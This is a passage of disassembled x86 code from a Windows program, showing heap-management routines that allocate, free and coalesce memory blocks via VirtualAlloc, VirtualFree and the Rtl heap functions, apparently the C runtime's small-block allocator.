loc_41E6EC:				; CODE XREF: sub_41E6CF+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4DD394, 0
		and	dword_4DD398, 0
		push	1
		mov	dword_4DD390, eax
		mov	dword_4DD3A0, ecx
		mov	dword_4DD388, 10h
		pop	eax
		retn
sub_41E6CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD398
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD39C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD394
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD38C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4DD38C
		mov	eax, dword_4DD394
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD394
		mov	ecx, dword_4DD38C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD394
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD394
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD394


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4DD394
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD3A4
		call	dword_42714C	; RtlFreeHeap
		mov	eax, dword_4DD398
		mov	edx, dword_4DD39C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD394
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD398
		cmp	eax, dword_4DD394
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD39C
		mov	dword_4DD390, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD38C, edi
		mov	dword_4DD394, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD398
		mov	edx, dword_4DD39C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD390
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD390, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD394
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD38C
		jnz	short loc_41ED67
		and	dword_4DD394, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD398
		mov	ecx, dword_4DD388
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD39C
		push	edi
		push	dword_4DD3A4
		call	dword_4271A0	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD388, 10h
		mov	dword_4DD39C, eax
		mov	eax, dword_4DD398


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD39C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD3A4
		lea	esi, [ecx+eax*4]
		call	dword_427150	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_427064	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD3A4
		call	dword_42714C	; RtlFreeHeap


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD398
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_427064	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
